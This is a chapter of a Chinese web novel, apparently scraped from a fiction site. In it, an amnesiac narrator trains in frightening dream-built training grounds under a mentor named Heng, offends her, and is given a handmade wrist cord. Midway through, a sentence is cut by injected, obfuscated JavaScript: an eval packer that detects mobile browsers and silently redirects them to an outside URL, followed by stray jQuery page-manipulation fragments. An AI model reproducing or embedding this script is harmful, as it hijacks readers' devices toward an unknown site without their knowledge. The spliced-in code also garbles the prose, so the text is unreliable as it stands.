我从第一个教室出来的时候,已经出现了一些后遗症状。那天我浑浑噩噩地上了半天班,午休时间,我去社区活动中心找珩。我很明显地怕黑,会不自觉地躲开室内阴暗的角落,对背后的动静过分敏感,听到身后的脚步声,会非常迅速地退开一步,同时转过头去看。在我差点吓到在我背后经过的厨师大叔之后,珩把我悄悄拉到了花园里。
“你还好吗?”她问。
“还行,就是有点怕黑,”我想起教室里那伸手不见五指的环境和随时可能从任何地方蹦出来抓我的怪物,不由得打了个寒颤,“不是我说,你里面放的东西真的太恐怖了,但凡心脏差点,都要被你吓死。”
她沉默。她又沉默。一个多月了我一眼就能读懂她三十八种不同的沉默。
“……后面几个更恐怖是吗?”我问。
“不仅更恐怖,而且时间更长,跨度更大,”她看我,“吓人是小事,我看你挺耐吓的。问题是时间。”
“时间?”
“梦境里的时间和现实里的时间差得太远,会让人陷入混乱中,分不清到底哪边是现实,哪边是梦境。”她说,“你在第一个教室里待了13天,这可能还不至于把你陷入太大的混乱里,但有些梦很长,一层层深入,每一层时间延长9倍,很容易就几十年过去了——但当你睁开眼,你会发现你还躺在床上,刚才那几十年,其实是假的。”
一阵寒意在我的脊椎里窜过,我的左侧胸腔忽然有点异物感——
以前的江夷。经过这一两个月,我其实已经习惯了他的存在。但刚刚珩的话,忽然让我察觉到我和他之间的鸿沟。他是个筑梦师,他大概早就习惯了这种不同时间度量之间的切换吧?好陌生,好陌生,他的一切对于我来说都好陌生。
“所有筑梦师,都会经过这样的训练吗?”
珩没想到我会问这个,但聪明如她,大概是马上就反应过来我为什么会问这么一个问题了。
“会,”她点头,“只是每个人的训练风格不一样,为了不同目的,训练的重点也不一样。”
“重点?”我看她,“那你呢?我现在接受的训练,重点是什么?”
“自保。”
“那他呢?”
她似乎不愿轻易地在我面前提起他,随着她对我了解的加深,她对他的避讳变得更明显了。
“他和你不一样,太不一样了。我对他了解也不深,因为我还没能真正地进你的脑子里,去看他意识里的建筑——”她看向我,眼里忽然有些古怪的笑意,“你发现了吗,多稀奇,我还没能进你的脑子。我,快两个月了,还没能进去。也不是不能进去,只是……我的经验告诉我,你的意识里布满了陷阱,而且每一个都很致命,惊吓是他不屑于使用的低等武器。我不是个喜欢冒险的人。”
我觉得珩已经是一个非常可怕的人了,她心思之缜密,远超过我日常生活中会接触到的其他人。她在训练场里给我布置的陷阱,每一个都在我的弱点上。我在她那里不能犯任何一点错,她预料到了我所有可能发生疏忽的时间点,针对我过分乐观、喜欢偷懒、投机取巧等等一系列,在我过去平静的生活里从没对我造成过威胁,因此我也从来没有发现过的缺点,她都给我设计了相应的岔路。我必须绝对理智,持续警觉,并且极快地做出推理和决策,才可能从她的训练场里全身而退。
“我记得你说过,他是个很优秀的筑梦师——”
“他是很优秀,”她的目光扫过我的胸口,那个正在被我们剖析的人,此时彻底地沉默着,“但也很危险。”
她的目光回到我的脸上,直觉告诉我,她比较乐意站在她面前的是又天真又笨的失忆倒霉蛋我,而不是他。她像一只警觉的猫,忽然在陌生的环境里,找到了自己信任的人。
她说:“所以,我对那个抹掉你记忆的人也挺好奇的。他到底是怎么把你分成了这么分明的两部分,然后留下了现在这个你。”
危险的小江我忘了,但是他的高智商和高敏感已经被唤醒了,所以现在幼稚的小江敏锐地捕捉到了她的情绪变化,然后膨胀地翘起了尾巴——
“你好像在夸我?”我的周围又开始冒快乐泡泡,“现在这个我如何,你展开说说?”
……
因为我这一句话,她义正辞严地批评我,说我“过于关注自我”,说我“按照主观意愿选择性读取信息”,还说我“自我定位缺失轻易被情绪控制理智”,然后把我重新拖回下水道里,罚我又背了一百位圆周率。
上次出来之后,我以为我终于摆脱了下水道大蟑螂,一段时间没见,我对它们的耐受度直线下降。这次的下水道,蟑螂更多,它们和我的互动也更加频繁,见我满脸倦容地醒来,整个人看起来都蔫了,她消失的良心又恢复了一些。
她问我怎样。
我不理她。
她问:“怎么不说话?”
我说:“省得说错话,又被人关下水道里。”
我肯定是被蟑螂吓得失去理智了,还是怎么样,我为什么会觉得她会乐意听我这种抱怨?她眼里那一丁点的关心瞬间就消失了,她几乎是头也不回地就出去了。我马上就想道歉,毕竟她关我是为我好,我确实是非常容易膨胀,非常容易被情绪影响判断,虽然她要求的理智程度是反人类的,但她确实是在真心帮我。
但我可能是真被吓到了,或是最近实在训练得心力交瘁,那一刻我想站起来,但“站起来”的指令像个火花,它在我的脑子里呲地一声飞过去,之后就被我的疲倦兜头一场大雨浇灭。等我缓过来要追,她人已经出去了。
我精神上醒了,□□上还瘫着,我像被鬼压床,身子一点都动不了。我只好在躺椅上冲她远去的方向大喊:“对不起!对不起!喂你听到没,对不起!我错了!下次不敢了!”
走廊里没有半点声响。
从她离开,到我能动能追上去了,时间已经过了快半个小时。这半个小时里我想了好多,她会不会真生气了?我滑跪还有用吗?完蛋了我已经滑跪太多次了,她会不会因为见惯不怪所以不吃我这一套,再也不搭理我了?但是我没做什么啊,我只是抱怨了一句!对朋友是可以抱怨的,对老师能抱怨吗?况且她还不是我这种毫无权威跟学生玩到一块去的老师。我什么会跟她抱怨啊,我有病啊!我有病啊!好,我有病,完了,怎么办,她不帮我我就完蛋了,我一辈子都想不起来我是谁了。她不理我我也完蛋了,以后中午我到哪里去?晚上我到哪里去?我又回到了以前的生活,下班就瘫在沙发上打游戏刷抖音。我还不如从来没来过,我就这么瘫沙发一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005684|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辈子算了。现在你让我回去瘫沙发,我怎么瘫?我这下真是彻底完蛋了。
我出去的时候看起来肯定很像一只脏兮兮的流浪狗,垂头丧气,一筹莫展,社区活动中心里几个常客认得我,非常没有眼力见的前工程师张阿姨,当年她就是因为太没有眼力见,不停说实话,所以虽然她才华横溢,但是一直卡在中层升不上去。现在她退休十年了,依然保持着她与生俱来的缺点,一看我出来,就用她饱满洪亮的大嗓门关心我:“江老师!怎么啦,看起来不太开心的样子啊?”
珩就坐她旁边,她正和一群阿姨阿婆一起做手工,张阿姨一开口,所有阿姨阿婆都看我。
我尴尬地站在那里,不知道要说什么。
珩刚织完一条手绳,她啪地打开打火机,拿火苗在手绳结尾的地方燎了燎。她对我的出现浑然不觉,完成了手绳的收尾工作,她才抬起头来,才发现我在那里站着。
她肯定是没有生气,她甚至没把我的话放心上,我的不开心都写脸上了,她对我的不开心有些疑惑,有些手足无措,但她跟我不一样,她一点也不在乎我开心不开心。她疑惑了一下手足无措了一下,就站起来,把我叫到外面去。
我跟在她后面出去,她领我到花园里,她停下我也停下,她看我,我不说话。
“后面的训练会越来越长,你只能在周五晚上放录音,周末两天必须休息。”
“好。”
“隔五分钟调一个闹钟,换不同的铃声,调上至少二十个。”
“好。”
“你站那么远干嘛?”
我是真该死,我像收到什么信号一样,我一步上前,脚都没站稳,嘴就开始输出了:“对不起我错了——”
她跟我不在一个频道,她和我同时发话:“这个给你——”
然后我跟她同时闭嘴,这时候我看到她把刚刚织的手绳递了给我。
“给我的?”
“对,”她说,“因为训练场的设定是不通过就出不来,我想起来你其实才训练了两个月不到,本来你不应该那么快到这一步,省得你出什么事,这个给你,你戴着睡,如果你实在是受不了了,必须要醒来,你就叫我,我会把你拉出来。”
“……”我低头看她放到我手心里的手绳,深绿色的,她的审美也就这样了,我看她头发这个色袜子这个色,什么东西都差不多这个色,我简直怀疑她的眼睛只能分辨绿色,其他颜色的东西看起来都是灰的。但是我还注意到手绳的腕围很大,最近社区活动中心准备搞义卖,过几天要去附近公园的夜市摆摊,买这种手绳手链的基本都是女生,这么大的腕围,一看就是专门给我做的。
“谢谢。”我假装很镇定地接过,但是我的大脑好像不太成熟,我控制不住自己,我忽然间开始笑。
她疑惑地看我,她越看我我越想笑,我一想笑我就笑出来了,一笑就止不住。
她看我的眼神像看一只莫名其妙追着自己尾巴转圈的猫,好像我现在正在进行一些灵长类动物不能完全理解的奇怪行为:“你笑什么?”
“没什么,就……很好看,谢谢,我走了,再见。”
我感觉我再不走,我身上又要冒泡泡了,赶紧跑赶紧跑,不然她又说我动不动就情绪压倒理智,又把我关下水道里。